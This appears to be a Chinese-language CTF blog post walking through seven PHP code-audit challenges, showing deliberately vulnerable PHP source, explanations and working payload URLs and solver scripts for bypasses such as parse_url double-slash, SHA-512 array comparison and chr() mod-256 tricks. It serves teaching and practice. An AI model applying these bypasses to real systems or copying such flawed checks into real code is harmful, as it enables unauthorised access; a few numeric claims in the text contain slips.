Ywc's blog

PHP代码审计练习

Word count: 1.7kReading time: 8 min
2018/07/26

web1:warmup

1
2
3
4
5
6
7
<?php
error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

题目给出字符串:1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=

payload1:

1
2
3
4
<?php
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));
?>

payload2:

1
2
s='1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY='
print s.decode('base64').encode('hex')[::-1].decode('hex')

web2:Bad compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['answer'])){

if($_GET['answer'] === 'роВхУъесЧМ'){
echo $flag;
}else{
echo 'Wrong answer';
}

echo '<hr>';
}
highlight_file(__FILE__);

问题在于роВхУъесЧМ这一串奇怪的字符安,直接复制不行,编码问题。

payload1: burpsuit里看到要比较的内容的16进制编码

1
http://badcompare.solveme.peng.kr/index.php?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc

payload2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding=utf-8

import requests
import re
import urllib

url = 'http://badcompare.solveme.peng.kr/'
rule = '===&nbsp;</span><span style="color: #DD0000">\'(.+?)\'</span><span style="color: #007700">'

r = requests.get(url)
result = re.findall(rule,r.content)
result = ''.join(result)
s = requests.get('http://badcompare.solveme.peng.kr/?answer='+urllib.quote(result))
print s.content

payload3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python2
# -*- coding:utf8 -*-
__author__ = 'ywc'
import requests
import urllib
import re
def foo():
url='http://badcompare.solveme.peng.kr/'
cont=requests.get(url).content
# print cont
answer=re.findall(r"===&nbsp;</span><span style=\"color: #DD0000\">'(.*?)'</span>",cont)[0]
# print answer
print requests.get(url+'?answer='+urllib.quote(answer)).content
pass
if __name__ == '__main__':
foo()
print 'ok'

web3:Winter sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){
echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';

}else{
sleep((int)$_GET['time']);
echo $flag;
}

echo '<hr>';
}

highlight_file(__FILE__);

关键函数:

  • is_numeric(): 检测变量是否为数字或数字字符串,支持科学计数法。
  • (int): 强制转换为int,会截取到第一个非数字。(若第一位就是非数字,返回0)
  • sleep(): 延迟代码执行若干秒。

可见我们输入一个介于5184000~7776000直接的值即可拿到flag

但实际上这样我们的浏览器会sleep大量时间,显然不可取,这时想到科学计数法。

在php做如下实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

echo 60 * 60 * 24 * 30 * 2 ,'<br>'; //5184000

echo 60 * 60 * 24 * 30 * 3,'<br>' ; //7776000

echo (int)'123abc' ,'<br>'; //123

echo (int)'1abc23' ,'<br>'; //1

echo (int)'abc123' ,'<br>'; //0

echo 6e6 ,'<br>'; //6000000

echo (int)'6e6'; //6

从上面代码可以看出,(int)将字符串转换成了int型,比如第三行,将123abc输出为123,第四行把1abc23输出为1。第五行把abc123输出为123

所以这里我们可以用科学计数法,6e6这个刚好满足代码的逻辑。

sleep也之执行6秒,当然也可以用其他的数字在5184000~777600之间,以科学计数法表示即可。

payload:

1
http://wintersleep.solveme.peng.kr/?time=6e6

web4:Hard login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';

if(isset($_GET['username'], $_GET['password'])){

if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';

}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';

}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';

}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}

echo '<hr>';
}

highlight_file(__FILE__);

payload1:

  • 访问index.php抓包发包判断成功后跳转到index.php,但网页又会自动转到login.php,所以用burp截包即可

payload2:

1
curl http://hardlogin.solveme.peng.kr/

web5:URL filtering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/lib.php";

$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);

$params = explode("&", $url_query);
foreach($params as $param){

$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}

if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

highlight_file(__FILE__);

看到过滤

1
2
3
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}

但是题目却要求我们使用do_you_want_flag=yes来获取flag

显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作

此时想到parse_url一个解析漏洞,参考一叶飘零师傅的文章

在?前添加 / 会使pares_url函数返回false,这样可以绕过前面的判断会让parse_url返回false

payload:

1
http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes

web6:Hash collison

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['foo'], $_GET['bar'])){

if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}

if($_GET['foo'] === $_GET['bar']){
die('Same value');
}

if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}

echo $flag, '<hr>';
}

highlight_file(__FILE__);

可以看到要求我们用不同的值,并且sha512相等,所以想到数组绕过漏洞

payload:

1
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2

web7:Array2String

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/lib.php';

$value = $_GET['value'];

$username = $_GET['username'];
$password = $_GET['password'];

for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);

if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

由代码可知传入username和password两个变量,password可以通过访问./secret.passwd得到

username==15th_HackingCamp 但是前面增加限制,在32-127之间,并且经过chr()函数的转义,经查阅chr函数有一个特性:

1
2
3
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)

查阅文章
得知chr()会自动进行mod256,因此可写脚本:

php脚本:

1
2
3
4
5
6
7
8
9
10
<?php
$username = '15th_HackingCamp';
$arr = str_split($username);

foreach($arr as $value){
$value = ord($value) + 256;
$payload .= 'value[]=' . $value . '&';
}
echo $payload .= 'password=simple_passw0rd';
?>

生成最后的payload
value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# coding=utf-8
import requests


def ook():
url = 'http://array2string.solveme.peng.kr/'
username_plaintext = '15th_HackingCamp'
mod_number = 256
query_str = '?'
for i in username_plaintext:
c = ord(i) + mod_number
query_str += 'value[]=%d&' % c
query_str += 'password=simple_passw0rd'
print requests.get(url + query_str).content
pass
if __name__ == '__main__':
ook()
print 'ok'
CATALOG
  1. 1. web1:warmup
  2. 2. web2:Bad compare
  3. 3. web3:Winter sleep
  4. 4. web4:Hard login
  5. 5. web5:URL filtering
  6. 6. web6:Hash collison
  7. 7. web7:Array2String